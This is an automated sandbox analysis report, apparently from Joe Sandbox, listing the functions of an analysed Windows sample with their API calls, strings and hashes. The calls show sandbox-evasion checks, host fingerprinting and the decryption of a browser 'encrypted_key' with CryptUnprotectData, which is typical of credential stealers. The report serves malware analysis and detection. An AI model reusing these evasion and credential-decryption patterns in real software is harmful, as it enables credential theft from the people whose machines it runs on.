Opcode ID: 068e2a2c9d0951dbc297878fd7eb8fdf412b42ec459a92f639ef87dc0f618beb
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: 068e2a2c9d0951dbc297878fd7eb8fdf412b42ec459a92f639ef87dc0f618beb
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024ECDA0), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024ECDB8), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024ECCF8), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024ECD10), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024ECD28), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024E4A90), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024E9B28), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024E9D08), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024EC4B8), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024EC680), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024EC758), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024EC560), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024E9B48), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,024EC710), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,024E4A20,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,024E4A20,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleLangName__aulldiv$ComputerCreateCurrentGlobalInfoMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1125299040-0
Opcode ID: 50247ecd70c5a0f843e1285b19dc708eb9ca0ab759f18e513338518cb063b549
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 50247ecd70c5a0f843e1285b19dc708eb9ca0ab759f18e513338518cb063b549
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00417E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

RegQueryValueExA.KERNEL32(00000000,0250A698,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,0250A638,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8
RegCloseKey.ADVAPI32(00000000), ref: 004180BA

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: f8d8b98591cc8530eedf35a3a8f93d500dd07e40f4c1d474174918ececd91454
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: f8d8b98591cc8530eedf35a3a8f93d500dd07e40f4c1d474174918ececd91454
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??2@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@CrackInternetlstrlen
String ID: <
API String ID: 184842949-4251816714
Opcode ID: e5f29cefa4dd9598d5af44d4b7297b32cb790e355d029db3f3dd4240a19260d9
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: e5f29cefa4dd9598d5af44d4b7297b32cb790e355d029db3f3dd4240a19260d9
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00417130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,024E90B0,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,0250A7B8,00000000,00000000,?,000000FF), ref: 0041719E
RegCloseKey.ADVAPI32(00000000), ref: 004171A8

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,024E90B0,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A
RegCloseKey.ADVAPI32(00417159), ref: 00417224

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00413BC0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegOpenKeyExA.KERNEL32(80000001,0250AEA8,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,0250A098,00000000,00000000,00000000,000000FF), ref: 00413C28
RegCloseKey.ADVAPI32(?), ref: 00413C32
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,0250B640), ref: 00413C6B

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024E4A20,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 56a7a2eaca477f508df01b6ae7b581fc7ce2bfc03d470372eaf33e70fda0dad6
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 56a7a2eaca477f508df01b6ae7b581fc7ce2bfc03d470372eaf33e70fda0dad6
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 2dddbfb2c0619b2a6c579a249d01c1d9c1681de6d9b22ca5e1b21f04b3ff7f38
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 2dddbfb2c0619b2a6c579a249d01c1d9c1681de6d9b22ca5e1b21f04b3ff7f38
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
